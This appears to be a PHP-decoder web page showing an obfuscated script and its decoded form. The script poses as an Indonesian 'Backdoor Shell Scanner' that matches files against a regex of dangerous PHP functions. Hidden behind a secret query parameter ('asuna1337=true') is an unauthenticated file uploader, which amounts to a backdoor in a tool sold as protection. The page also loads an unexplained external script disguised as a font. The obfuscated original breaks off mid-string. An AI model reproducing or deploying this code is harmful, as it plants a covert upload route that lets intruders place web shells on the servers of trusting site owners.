Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4cO\x42A\x4c\x53"}["o\x64\x6au\x6f\x6d\x77v\x7a"]="\x73cann\x65\x64Fi\x6c\x..
Decoded Output download
<?php ${"GLOBALS"}["odjuomwvz"]="scannedFiles";${"GLOBALS"}["xxrlrkl"]="cpanelDir";${"GLOBALS"}["ghjhsgphy"]="pattern";${"GLOBALS"}["iyvqbvgb"]="allowedExtensions";${"GLOBALS"}["kmogkumjy"]="extension";${"GLOBALS"}["vficrezkj"]="result";${"GLOBALS"}["nkbsgjkevr"]="path";${"GLOBALS"}["pghhckucf"]="file";${"GLOBALS"}["mbnerzmliu"]="dir";${"GLOBALS"}["fdtkmsr"]="targetFile";${"GLOBALS"}["ewpxsdeb"]="targetDir";echo "<!DOCTYPE html>\n<html lang="en">\n";date_default_timezone_set("Asia/Jakarta");if($_SERVER["REQUEST_METHOD"]==="GET"){if(isset($_GET["asuna1337"])){if($_GET["asuna1337"]==="true"){echo"\n <div class=\"container">\n <div class="col mt-3 mb-3">\n <div class=\"card">\n <div class="card-header\">\n <h5>File Uploader</h5>\n </div>\n <div class=\"card-body">\n <form action=\"\" method=\"POST\" enctype=\"multipart/form-data\">\n <input class=\"form-control\" type=\"file\" name="file" required>\n <input class=\"btn btn-primary\" type=\"submit\" name=\"upload\" value="Upload\">\n </form>\n </div>\n </div>\n </div>\n </div>\n";}}}if($_SERVER["REQUEST_METHOD"]==="POST"){if(isset($_POST["upload"])){${${"GLOBALS"}["ewpxsdeb"]}=__DIR__;${"GLOBALS"}["skflsydzws"]="targetFile";${"GLOBALS"}["bbcbxcecg"]="targetDir";${${"GLOBALS"}["fdtkmsr"]}=${${"GLOBALS"}["bbcbxcecg"]}."/".basename($_FILES["file"]["name"]);if(move_uploaded_file($_FILES["file"]["tmp_name"],${${"GLOBALS"}["skflsydzws"]})){echo"File berhasil diunggah.";}else{echo"Terjadi kesalahan saat mengunggah file.";}}}echo "<head>\n <meta charset=\"UTF-8">\n <meta name=\"viewport" content=\"width=device-width, initial-scale=1.0">\n <title>Shell Scanner</title>\n <link rel="stylesheet\" href="https://cdn.datatables.net/1.10.25/css/dataTables.bootstrap5.min.css">\n <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>\n <script src=\"https://cdn.datatables.net/1.10.25/js/jquery.dataTables.min.js"></script>\n <script type=\"text/javascript\"src="https://cdn.jsdelivr.net/gh/xrxaxm/fontawesome-3.0.1/font-sniglet.js\"></script>\n <script src="https://cdn.datatables.net/1.10.25/js/dataTables.bootstrap5.min.js\"></script>\n <link href=\"https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel=\"stylesheet" integrity=\"sha384-KK94CHFLLe+nY2dmCWGMq91rCGa5gtU4mk92HdvYe+M/SXH301p5ILy+dN9+nJOZ\" crossorigin="anonymous\">\n <link rel=\"stylesheet" type="text/css" href=\"http://fonts.googleapis.com/css?family=Sniglet" />\n <meta name=\"theme-color\"content=\"rgba(0, 0, 56, 0.6)">\n</head>\n\n<body>\n <div class=\"container mt-5 mb-5\">\n<div class=\"col mt-3 mb-3\">\n <div class=\"card">\n <div class="card-header\">\n <h5 class="mt-4\">Backdoor Shell Scanner</h5>\n </div>\n <div class=\"card-body">\n <form method=\"post" class=\"mt-4\">\n <div class="mb-3">\n <label for="cpanelDir\" class=\"form-label\">Direktori root cPanel:</label>\n <input type=\"text" class="form-control\" id="cpanelDir\" name="cpanelDir" placeholder=\"/path/to/your/cpanel/public_html\" required>\n <small>/home/";echo get_current_user();echo "/public_html</small>\n </div>\n <button type="submit\" class=\"btn btn-primary">Scan</button>\n </form>\n<hr>\n<h5>Cara kerja:</h5>\nCara kerja tools ini adalah mengscan setiap file yang berada didalam dir yang diinput oleh user.Ketika kamu klik scan,script akan berjalan mengscan semua file dan mencocokkannya dengan list.Jika script menemukan file yang terindikasi sebagai backdoor,script akan menampilkannya dalam bentuk tabel.\n<p class="text-danger\">Tidak selalu file yang muncul di tabel adalah shell backdoor.Kamj perlu cek secara manual untuk memastikannya.</p>\n\n </div>\n </div>\n</div>\n\n\n\n<!-- tabel -->\n<div class=\"col mt-3 mb-3\">\n <div class="card\">\n <div class=\"card-header">\n <h5>Daftar file yang dicurigai Sebagai backdoor Shell:</h5>\n </div>\n <div class=\"card-body">\n ";if($_SERVER["REQUEST_METHOD"]==="POST"){$moabtpieyg="cpanelDir";${"GLOBALS"}["ydiqofn"]="cpanelDir";${$moabtpieyg}=isset($_POST["cpanelDir"])?trim($_POST["cpanelDir"]):"";function scanDirectory($dir){${"GLOBALS"}["gbkqcc"]="files";${"GLOBALS"}["apmhwck"]="files";${"GLOBALS"}["mobnpkwiedcc"]="result";${"GLOBALS"}["jsymbfxjuy"]="file";${${"GLOBALS"}["apmhwck"]}=scandir(${${"GLOBALS"}["mbnerzmliu"]});${${"GLOBALS"}["mobnpkwiedcc"]}=array();foreach(${${"GLOBALS"}["gbkqcc"]} as${${"GLOBALS"}["jsymbfxjuy"]}){${"GLOBALS"}["ifuebujfp"]="file";$mbythotvx="dir";if(${${"GLOBALS"}["pghhckucf"]}=="."||${${"GLOBALS"}["ifuebujfp"]}==".."){continue;}${${"GLOBALS"}["nkbsgjkevr"]}=${$mbythotvx}."/".${${"GLOBALS"}["pghhckucf"]};if(is_dir(${${"GLOBALS"}["nkbsgjkevr"]})){$ujqdbflirsow="path";${${"GLOBALS"}["vficrezkj"]}=array_merge(${${"GLOBALS"}["vficrezkj"]},scanDirectory(${$ujqdbflirsow}));}else{$rqyzxha="allowedExtensions";${${"GLOBALS"}["kmogkumjy"]}=pathinfo(${${"GLOBALS"}["nkbsgjkevr"]},PATHINFO_EXTENSION);$qdwrrs="extension";${$rqyzxha}=array("php","php5","php7","php8","phtml","shtml");if(in_array(${$qdwrrs},${${"GLOBALS"}["iyvqbvgb"]})){${"GLOBALS"}["lhvudnoby"]="fileContents";${${"GLOBALS"}["lhvudnoby"]}=file_get_contents(${${"GLOBALS"}["nkbsgjkevr"]});${"GLOBALS"}["xyyekynd"]="pattern";${${"GLOBALS"}["xyyekynd"]}="/(eval\(|system\(|shell_exec\(|passthru\(|exec\\(|base64_decode\\(|chmod\\(|mkdir\(|rmdir\\(|basename\\(|file_get_contents\\(|move_uploaded_file\(|htmlspecialchars_decode\(|curl_multi_exec\(|gzinflate\\(|popen\\(|default\\(|\x[0-9A-Fa-f]{2}\\()/";$vqwnxzl="fileContents";if(preg_match(${${"GLOBALS"}["ghjhsgphy"]},${$vqwnxzl})){$leaegr="fileInfo";$qlgjpockr="path";${"GLOBALS"}["pkrkjpkeq"]="fileInfo";${${"GLOBALS"}["pkrkjpkeq"]}=array("time"=>date("Y-m-d H:i:s",filemtime(${${"GLOBALS"}["nkbsgjkevr"]})),"location"=>${${"GLOBALS"}["nkbsgjkevr"]},"last_update"=>date("Y-m-d H:i:s",filemtime(${${"GLOBALS"}["nkbsgjkevr"]})),"file_size"=>filesize(${$qlgjpockr}));${${"GLOBALS"}["vficrezkj"]}[]=${$leaegr};}}}}return${${"GLOBALS"}["vficrezkj"]};}if(!empty(${${"GLOBALS"}["ydiqofn"]})&&is_dir(${${"GLOBALS"}["xxrlrkl"]})){$zdodcerabjm="scannedFiles";${"GLOBALS"}["mfeaxyz"]="scannedFiles";${${"GLOBALS"}["mfeaxyz"]}=scanDirectory(${${"GLOBALS"}["xxrlrkl"]});if(!empty(${$zdodcerabjm})){echo"<div class="table-responsive\">";echo"<table class=\"table table-bordered table-striped\">";echo"<thead>";echo"<tr>";echo"<th>Waktu</th>";echo"<th>Lokasi File</th>";echo"<th>Tanggal Terakhir Diperbarui</th>";echo"<th>Ukuran File (KB)</th>";echo"</tr>";echo"</thead>";echo"<tbody>";foreach(${${"GLOBALS"}["odjuomwvz"]} as${${"GLOBALS"}["pghhckucf"]}){echo"<tr>";$rfxwbtent="file";echo"<td>".${${"GLOBALS"}["pghhckucf"]}["time"]."</td>";echo"<td>".${$rfxwbtent}["location"]."</td>";$vethxhsuysl="file";echo"<td>".${${"GLOBALS"}["pghhckucf"]}["last_update"]."</td>";echo"<td>".round(${$vethxhsuysl}["file_size"]/1024,2)."kb"."</td>";echo"</tr>";}echo"</tbody>";echo"</table>";echo"</div>";}else{echo"<div class=\"alert alert-success mt-4\">Tidak ada file dengan backdoor terdeteksi.</div>";}}}echo " </div>\n </div>\n</div>\n<!-- akhir -->\n<center>\n <p>Coded with ♥ by Ram.</p>\n</center>\n </div>\n</body>\n\n</html>\n";
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4cO\x42A\x4c\x53"}["o\x64\x6au\x6f\x6d\x77v\x7a"]="\x73cann\x65\x64Fi\x6c\x65s";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x78r\x6crkl"]="\x63\x70\x61\x6e\x65\x6c\x44\x69\x72";${"\x47\x4cO\x42\x41L\x53"}["\x67h\x6a\x68\x73\x67p\x68y"]="\x70\x61\x74\x74\x65r\x6e";${"GL\x4f\x42A\x4c\x53"}["iy\x76\x71\x62vg\x62"]="\x61\x6c\x6c\x6f\x77\x65d\x45\x78\x74\x65\x6e\x73\x69o\x6e\x73";${"G\x4cOB\x41L\x53"}["k\x6d\x6fgk\x75m\x6ay"]="e\x78\x74\x65\x6e\x73i\x6fn";${"G\x4c\x4fBA\x4cS"}["vf\x69\x63\x72\x65\x7akj"]="resu\x6c\x74";${"G\x4cO\x42\x41\x4c\x53"}["nkbs\x67\x6ak\x65v\x72"]="\x70a\x74\x68";${"G\x4c\x4f\x42ALS"}["\x70\x67\x68\x68\x63\x6b\x75\x63f"]="\x66i\x6c\x65";${"G\x4cOB\x41\x4c\x53"}["m\x62ner\x7aml\x69u"]="\x64\x69r";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x64\x74\x6b\x6ds\x72"]="\x74\x61\x72\x67\x65t\x46\x69\x6c\x65";${"\x47\x4c\x4f\x42\x41\x4cS"}["ew\x70\x78\x73\x64e\x62"]="t\x61\x72\x67et\x44i\x72";echo "\x3c!\x44O\x43\x54\x59\x50E \x68\x74\x6d\x6c\x3e\n<ht\x6dl \x6c\x61\x6e\x67=\x22\x65\x6e\x22\x3e\n";date_default_timezone_set("\x41s\x69a/J\x61ka\x72\x74a");if($_SERVER["R\x45\x51UE\x53T_\x4dE\x54HOD"]==="GET"){if(isset($_GET["\x61\x73una1\x33\x337"])){if($_GET["\x61\x73\x75n\x6113\x337"]==="tru\x65"){echo"\n\x20\x20 \x20 \x20<\x64i\x76 \x63l\x61s\x73=\"\x63onta\x69\x6e\x65\x72\x22\x3e\n \x20\x20\x20 \x20<d\x69v\x20cl\x61ss=\x22\x63o\x6c \x6d\x74-\x33\x20mb-3\x22>\n \x20 \x20 \x3cd\x69\x76 \x63l\x61ss\x3d\"ca\x72\x64\x22>\n\x20\x20 \x20 \x3c\x64iv \x63l\x61s\x73\x3d\x22\x63\x61\x72\x64-hea\x64er\">\n\x20\x20\x20\x20 \x20 \x20<h5\x3eF\x69le\x20Upl\x6f\x61de\x72</h\x35\x3e\n\x20 \x20\x20\x20 \x20\x20\x3c/d\x69v\x3e\n \x20\x20 \x20\x20 \x3cd\x69\x76 cl\x61\x73\x73\x3d\"\x63\x61\x72\x64-\x62o\x64y\x22\x3e\n\x20 \x20\x20\x20 \x20 \x20\x20 \x20 \x3c\x66o\x72m \x61\x63tio\x6e=\"\" me\x74ho\x64=\"\x50\x4f\x53T\" \x65\x6e\x63\x74\x79p\x65=\"mu\x6ct\x69p\x61\x72\x74/f\x6fr\x6d-\x64\x61ta\"\x3e\n \x20 \x20 \x20 \x3c\x69\x6ep\x75t cl\x61s\x73\x3d\"\x66\x6f\x72m-con\x74\x72o\x6c\" \x74\x79pe\x3d\"file\" \x6e\x61me=\x22f\x69l\x65\x22\x20\x72\x65qu\x69r\x65\x64\x3e\n\x20\x20 \x20\x20\x20\x20\x20 \x20 \x3cinput \x63\x6c\x61s\x73=\"\x62\x74\x6e btn-p\x72\x69ma\x72\x79\" \x74\x79\x70e=\"s\x75\x62\x6di\x74\"\x20na\x6d\x65=\"\x75\x70l\x6fad\"\x20\x76\x61l\x75e=\x22\x55\x70\x6co\x61\x64\"\x3e\n\x20\x20\x20\x20 \x20 \x3c/\x66\x6frm>\n \x20 \x20 \x20\x20 \x3c/\x64iv>\n \x20\x20 \x20\x20 \x3c/\x64iv\x3e\n \x20\x20\x20\x20\x20\x3c/\x64\x69v>\n \x20\x20 \x20\x20 \x3c/\x64\x69\x76\x3e\n";}}}if($_SERVER["R\x45QU\x45S\x54\x5fM\x45\x54H\x4f\x44"]==="P\x4f\x53T"){if(isset($_POST["\x75\x70l\x6f\x61\x64"])){${${"\x47LO\x42AL\x53"}["\x65\x77\x70\x78\x73\x64\x65\x62"]}=__DIR__;${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73\x6b\x66\x6cs\x79\x64\x7aw\x73"]="\x74\x61\x72ge\x74F\x69\x6c\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["b\x62\x63\x62xc\x65\x63\x67"]="t\x61\x72\x67\x65\x74\x44\x69r";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66d\x74\x6b\x6ds\x72"]}=${${"\x47\x4c\x4fB\x41L\x53"}["\x62\x62\x63b\x78\x63\x65c\x67"]}."/".basename($_FILES["\x66\x69\x6c\x65"]["\x6ea\x6de"]);if(move_uploaded_file($_FILES["\x66i\x6c\x65"]["\x74mp_\x6ea\x6d\x65"],${${"\x47\x4c\x4fB\x41\x4c\x53"}["s\x6b\x66ls\x79dzw\x73"]})){echo"\x46ile\x20\x62erhasi\x6c\x20d\x69\x75\x6e\x67gah\x2e";}else{echo"\x54\x65\x72ja\x64\x69 ke\x73al\x61\x68a\x6e saat me\x6egu\x6e\x67g\x61h \x66\x69le.";}}}echo "<h\x65\x61d\x3e\n\x20 \x20\x20<\x6deta c\x68\x61rse\x74=\"\x55\x54\x46-8\x22>\n\x20 \x20<\x6de\x74\x61\x20na\x6d\x65\x3d\"v\x69\x65\x77\x70o\x72\x74\x22 \x63on\x74\x65n\x74\x3d\"\x77i\x64t\x68=d\x65v\x69\x63e-w\x69d\x74h, ini\x74\x69a\x6c-sc\x61l\x65=\x31\x2e\x30\x22\x3e\n \x20<t\x69\x74le\x3eS\x68\x65ll\x20Sc\x61nn\x65r\x3c/\x74it\x6c\x65>\n\x20 \x20 \x3clink r\x65\x6c\x3d\x22\x73\x74\x79le\x73h\x65et\"\x20hre\x66=\x22\x68t\x74ps://c\x64\x6e\x2ed\x61\x74\x61t\x61\x62\x6ces.net/1\x2e\x310.\x32\x35/css/\x64\x61t\x61\x54abl\x65s\x2eb\x6fotst\x72\x61p\x35\x2emin\x2ecss\x22>\n \x20 \x3c\x73cript\x20s\x72c=\x22\x68ttp\x73://\x63\x6fde.\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d/\x6a\x71\x75e\x72y-\x33.6\x2e\x30.\x6d\x69n\x2ejs\x22></scri\x70t\x3e\n\x20\x20 \x20\x3cscr\x69\x70\x74 \x73rc\x3d\"htt\x70\x73://cd\x6e\x2e\x64at\x61t\x61ble\x73\x2e\x6e\x65t/\x31\x2e1\x30\x2e2\x35/j\x73/\x6a\x71\x75\x65\x72y.\x64\x61\x74aTa\x62\x6c\x65\x73.\x6di\x6e.\x6a\x73\x22></\x73cr\x69\x70\x74>\n \x20\x20 <\x73\x63\x72\x69p\x74 \x74\x79p\x65\x3d\"t\x65\x78t/j\x61\x76a\x73\x63r\x69pt\"\x73r\x63\x3d\x22\x68t\x74p\x73://cdn\x2ej\x73\x64\x65\x6ci\x76r\x2en\x65\x74/\x67\x68/xr\x78\x61xm/\x66\x6fntaw\x65some-3.0\x2e\x31/font-\x73\x6ei\x67\x6cet.\x6a\x73\"></\x73cr\x69\x70t>\n\x20\x20 \x20\x3c\x73c\x72\x69\x70t src\x3d\x22h\x74t\x70\x73://\x63dn\x2e\x64\x61t\x61tabl\x65\x73.ne\x74/\x31.10\x2e\x325/js/\x64\x61t\x61Ta\x62le\x73\x2e\x62oot\x73\x74r\x61\x705.\x6di\x6e.\x6as\"\x3e\x3c/sc\x72i\x70\x74\x3e\n\x20\x20 \x20\x3c\x6c\x69nk\x20\x68r\x65f\x3d\"\x68\x74t\x70s://\x63\x64\x6e\x2ej\x73\x64\x65\x6c\x69v\x72.n\x65t/\x6ep\x6d/boo\x74st\x72\x61p@5\x2e\x33.\x30-\x61l\x70ha\x33/\x64\x69s\x74/\x63s\x73/b\x6fotst\x72\x61p\x2emi\x6e\x2e\x63\x73\x73\x22 rel=\"s\x74y\x6c\x65\x73\x68\x65e\x74\x22 \x69\x6e\x74\x65\x67\x72\x69ty\x3d\"\x73\x68a\x3384-\x4bK94\x43\x48F\x4c\x4c\x65+n\x59\x32\x64mCWG\x4dq9\x31rC\x47\x61\x35g\x74U\x34\x6dk\x392Hdv\x59e+M/\x53XH3\x301\x705IL\x79+\x64N\x39+\x6e\x4aO\x5a\"\x20\x63ro\x73\x73\x6fr\x69\x67i\x6e=\x22\x61no\x6eymous\">\n\x20 \x20 <\x6c\x69\x6e\x6b\x20\x72\x65l\x3d\"\x73ty\x6ce\x73he\x65\x74\x22\x20\x74y\x70\x65=\x22\x74e\x78t/\x63s\x73\x22\x20hr\x65\x66\x3d\"http://f\x6f\x6ets.\x67\x6fo\x67\x6c\x65\x61pi\x73\x2e\x63o\x6d/\x63\x73\x73?famil\x79\x3dS\x6e\x69\x67l\x65\x74\x22 /\x3e\n\x20 \x20 <\x6d\x65\x74\x61\x20\x6e\x61m\x65\x3d\"\x74h\x65me-\x63\x6flor\"co\x6ete\x6et\x3d\"\x72\x67\x62a(\x30, \x30,\x20\x356, \x30\x2e6)\x22>\n\x3c/\x68\x65\x61d>\n\n<\x62o\x64\x79\x3e\n\x20\x20\x20\x20<div \x63\x6cas\x73\x3d\"\x63\x6fn\x74a\x69\x6ee\x72\x20m\x74-\x35 mb-5\"\x3e\n\x3cdi\x76 \x63la\x73s=\"co\x6c\x20\x6d\x74-\x33 m\x62-3\">\n \x20\x20<\x64i\x76 cl\x61s\x73=\"\x63a\x72\x64\x22\x3e\n\x20\x20\x20\x20 \x20 \x20\x3cd\x69\x76 \x63l\x61\x73s\x3d\x22ca\x72\x64-h\x65ad\x65\x72\">\n\x20 \x20\x20\x20\x20 \x20\x20 \x20<\x685\x20cl\x61\x73\x73=\x22\x6dt-\x34\"\x3eB\x61ck\x64o\x6f\x72\x20\x53h\x65\x6cl Sc\x61\x6ene\x72</\x685>\n \x20 \x20\x20 </d\x69\x76>\n\x20\x20 \x20 \x20 <d\x69v\x20c\x6cass=\"\x63ard-bod\x79\x22\x3e\n\x20 \x20\x20 \x20 <\x66o\x72\x6d me\x74h\x6f\x64=\"pos\x74\x22\x20\x63\x6c\x61ss=\"\x6d\x74-\x34\"\x3e\n \x20 \x20 \x20\x20\x20 \x20\x3cdiv c\x6cas\x73=\x22\x6db-\x33\x22\x3e\n \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20<\x6c\x61\x62\x65l \x66o\x72\x3d\x22\x63\x70ane\x6c\x44i\x72\" c\x6c\x61\x73s\x3d\"f\x6fr\x6d-\x6cabel\"\x3eDir\x65k\x74\x6fri ro\x6f\x74\x20cP\x61n\x65\x6c:</la\x62el\x3e\n \x20 \x20 \x20\x20 \x20<in\x70\x75\x74\x20\x74\x79pe=\"\x74e\x78\x74\x22 class=\x22\x66o\x72m-contr\x6fl\" i\x64=\x22c\x70\x61ne\x6cD\x69\x72\"\x20\x6ea\x6d\x65\x3d\x22\x63\x70\x61\x6eel\x44i\x72\x22\x20\x70\x6cac\x65\x68o\x6cde\x72\x3d\"/pat\x68/\x74o/your/cp\x61\x6ee\x6c/\x70\x75\x62l\x69c\x5f\x68tm\x6c\" \x72e\x71ui\x72\x65\x64>\n\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20\x20<s\x6dall\x3e/h\x6f\x6de/";echo get_current_user();echo "/\x70u\x62l\x69c\x5fht\x6dl</s\x6dal\x6c>\n\x20\x20\x20 \x20 \x20\x20\x20 \x3c/\x64\x69v>\n \x20\x20 \x20 \x20\x20\x20\x20\x20<\x62u\x74\x74on ty\x70e\x3d\x22\x73\x75b\x6d\x69t\" cl\x61s\x73\x3d\"btn b\x74n-\x70r\x69m\x61ry\x22>\x53c\x61\x6e\x3c/b\x75\x74to\x6e\x3e\n\x20 \x20 \x20 \x20 \x3c/f\x6f\x72m>\n<\x68\x72>\n<\x68\x35>Ca\x72\x61 \x6b\x65r\x6aa:</\x68\x35>\n\x43a\x72a\x20\x6be\x72j\x61\x20t\x6fo\x6cs\x20ini ad\x61\x6ca\x68 m\x65ngsc\x61\x6e\x20\x73et\x69\x61\x70\x20\x66\x69le\x20ya\x6e\x67 \x62\x65r\x61d\x61\x20\x64i\x64a\x6cam \x64\x69\x72 \x79\x61ng d\x69\x69\x6e\x70\x75\x74 ol\x65\x68 u\x73er.K\x65t\x69\x6b\x61 \x6b\x61m\x75\x20\x6bli\x6b\x20sca\x6e,s\x63rip\x74\x20aka\x6e\x20\x62\x65r\x6a\x61\x6c\x61\x6e\x20\x6d\x65n\x67sc\x61\x6e\x20\x73\x65mu\x61 \x66\x69le \x64a\x6e \x6d\x65\x6e\x63o\x63o\x6bk\x61\x6e\x6ey\x61\x20\x64eng\x61n \x6ci\x73\x74\x2e\x4a\x69k\x61\x20scr\x69\x70\x74\x20m\x65n\x65m\x75ka\x6e\x20\x66i\x6ce\x20ya\x6eg\x20t\x65ri\x6edi\x6bas\x69\x20\x73eb\x61\x67ai\x20\x62a\x63\x6b\x64o\x6f\x72,sc\x72ip\x74\x20ak\x61\x6e\x20\x6d\x65\x6ea\x6d\x70\x69lk\x61n\x6ey\x61 \x64ala\x6d\x20b\x65n\x74\x75\x6b ta\x62e\x6c\x2e\n\x3c\x70\x20\x63\x6c\x61\x73s\x3d\x22\x74e\x78\x74-\x64a\x6eg\x65r\">\x54i\x64\x61\x6b s\x65l\x61\x6cu\x20\x66il\x65\x20\x79ang\x20\x6dun\x63u\x6c\x20d\x69\x20\x74\x61b\x65\x6c\x20\x61d\x61l\x61h\x20\x73he\x6c\x6c\x20b\x61\x63k\x64o\x6f\x72\x2eKamj\x20pe\x72\x6c\x75\x20\x63ek secar\x61\x20man\x75al\x20u\x6et\x75\x6b\x20\x6d\x65\x6da\x73t\x69\x6ban\x6e\x79\x61.</p>\n\n \x20 \x20 \x20\x20\x3c/\x64\x69\x76\x3e\n\x20\x20 </div\x3e\n\x3c/\x64\x69\x76>\n\n\n\n\x3c!--\x20\x74ab\x65l\x20-->\n\x3cd\x69\x76\x20\x63la\x73s\x3d\"c\x6f\x6c\x20mt-\x33\x20\x6db-3\"\x3e\n \x20\x3c\x64iv\x20\x63l\x61s\x73\x3d\x22ca\x72\x64\"\x3e\n\x20\x20\x20\x20 \x20 \x20<d\x69\x76 \x63l\x61\x73\x73\x3d\"\x63a\x72d-\x68ead\x65\x72\x22\x3e\n \x20\x20\x20\x20 \x20 \x3ch5\x3e\x44afta\x72 \x66\x69le\x20\x79a\x6e\x67 di\x63\x75r\x69gai\x20\x53\x65b\x61\x67ai b\x61c\x6b\x64\x6f\x6f\x72 \x53\x68\x65\x6c\x6c:</\x68\x35\x3e\n \x20 \x20\x3c/d\x69\x76>\n\x20\x20\x20 \x20\x20\x3cdi\x76 c\x6c\x61\x73\x73=\"c\x61\x72\x64-\x62o\x64\x79\x22\x3e\n \x20 \x20\x20 ";if($_SERVER["\x52\x45QUE\x53\x54\x5f\x4d\x45\x54HO\x44"]==="\x50O\x53T"){$moabtpieyg="c\x70a\x6ee\x6c\x44\x69r";${"\x47\x4c\x4fBALS"}["\x79\x64i\x71\x6f\x66n"]="\x63\x70\x61\x6e\x65\x6c\x44\x69r";${$moabtpieyg}=isset($_POST["cp\x61ne\x6cD\x69\x72"])?trim($_POST["c\x70ane\x6c\x44\x69r"]):"";function scanDirectory($dir){${"\x47\x4c\x4fBA\x4c\x53"}["gbk\x71c\x63"]="f\x69le\x73";${"\x47\x4cO\x42\x41L\x53"}["\x61\x70\x6d\x68wc\x6b"]="\x66\x69\x6c\x65\x73";${"\x47\x4c\x4fBA\x4cS"}["m\x6f\x62\x6e\x70k\x77ie\x64c\x63"]="\x72\x65\x73ul\x74";${"\x47L\x4f\x42ALS"}["j\x73\x79\x6dbf\x78j\x75\x79"]="\x66\x69\x6c\x65";${${"\x47LOB\x41L\x53"}["\x61pm\x68\x77\x63\x6b"]}=scandir(${${"\x47LOB\x41LS"}["\x6d\x62\x6ee\x72\x7a\x6d\x6ci\x75"]});${${"\x47L\x4fB\x41\x4c\x53"}["\x6do\x62\x6e\x70\x6b\x77\x69\x65\x64\x63c"]}=array();foreach(${${"\x47\x4cOB\x41L\x53"}["\x67\x62\x6bq\x63\x63"]} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6as\x79m\x62f\x78\x6a\x75y"]}){${"\x47\x4c\x4f\x42AL\x53"}["i\x66\x75e\x62\x75\x6af\x70"]="f\x69le";$mbythotvx="\x64i\x72";if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x67hh\x63k\x75c\x66"]}=="."||${${"G\x4c\x4fB\x41LS"}["if\x75e\x62\x75\x6a\x66\x70"]}=="\x2e\x2e"){continue;}${${"\x47\x4c\x4fBA\x4c\x53"}["\x6e\x6b\x62\x73g\x6a\x6b\x65\x76\x72"]}=${$mbythotvx}."/".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x67\x68\x68\x63\x6bucf"]};if(is_dir(${${"\x47LO\x42\x41LS"}["n\x6b\x62s\x67jk\x65\x76\x72"]})){$ujqdbflirsow="p\x61\x74\x68";${${"\x47LO\x42\x41LS"}["\x76\x66\x69\x63\x72\x65\x7ak\x6a"]}=array_merge(${${"\x47\x4cO\x42AL\x53"}["\x76\x66ic\x72\x65\x7a\x6b\x6a"]},scanDirectory(${$ujqdbflirsow}));}else{$rqyzxha="\x61\x6cl\x6fw\x65d\x45\x78\x74\x65ns\x69\x6f\x6e\x73";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6b\x6d\x6fg\x6b\x75\x6d\x6a\x79"]}=pathinfo(${${"\x47\x4c\x4f\x42AL\x53"}["nk\x62\x73\x67j\x6b\x65v\x72"]},PATHINFO_EXTENSION);$qdwrrs="e\x78\x74\x65n\x73i\x6fn";${$rqyzxha}=array("\x70hp","\x70h\x705","\x70\x68p\x37","\x70h\x708","\x70h\x74\x6d\x6c","sht\x6dl");if(in_array(${$qdwrrs},${${"\x47\x4cO\x42\x41\x4c\x53"}["\x69y\x76qbv\x67\x62"]})){${"\x47LOBA\x4c\x53"}["\x6ch\x76\x75\x64n\x6fb\x79"]="\x66i\x6c\x65\x43\x6f\x6e\x74e\x6e\x74s";${${"\x47LO\x42\x41\x4c\x53"}["\x6ch\x76ud\x6e\x6f\x62y"]}=file_get_contents(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6ek\x62\x73\x67j\x6b\x65v\x72"]});${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x79yek\x79\x6e\x64"]="\x70at\x74\x65\x72\x6e";${${"G\x4cOBA\x4c\x53"}["\x78y\x79\x65\x6b\x79\x6e\x64"]}="/(\x65\x76\x61\x6c\x5c(|sys\x74e\x6d\x5c(|\x73hel\x6c_exec\x5c(|\x70\x61\x73st\x68\x72u\x5c(|exec\\(|\x62\x61s\x6564\x5fd\x65c\x6f\x64\x65\\(|ch\x6do\x64\\(|m\x6b\x64i\x72\x5c(|\x72\x6ddi\x72\\(|bas\x65n\x61m\x65\\(|file_g\x65\x74\x5f\x63on\x74en\x74s\\(|\x6d\x6f\x76e\x5fupl\x6f\x61d\x65d\x5f\x66i\x6c\x65\x5c(|\x68tmls\x70\x65\x63\x69\x61l\x63\x68a\x72s\x5fde\x63\x6fd\x65\x5c(|\x63u\x72l\x5f\x6dult\x69\x5f\x65\x78e\x63\x5c(|\x67\x7ai\x6eflate\\(|\x70op\x65\x6e\\(|de\x66au\x6ct\\(|\x5c\x78[\x30-9A-\x46\x61-f]{2}\\()/";$vqwnxzl="\x66\x69\x6c\x65Co\x6eten\x74\x73";if(preg_match(${${"G\x4cOB\x41\x4c\x53"}["\x67\x68j\x68\x73\x67p\x68\x79"]},${$vqwnxzl})){$leaegr="\x66i\x6ceI\x6ef\x6f";$qlgjpockr="p\x61\x74h";${"\x47\x4cO\x42\x41L\x53"}["p\x6br\x6b\x6a\x70\x6b\x65\x71"]="\x66\x69l\x65I\x6ef\x6f";${${"GLOBAL\x53"}["pk\x72\x6bj\x70k\x65q"]}=array("tim\x65"=>date("Y-\x6d-d 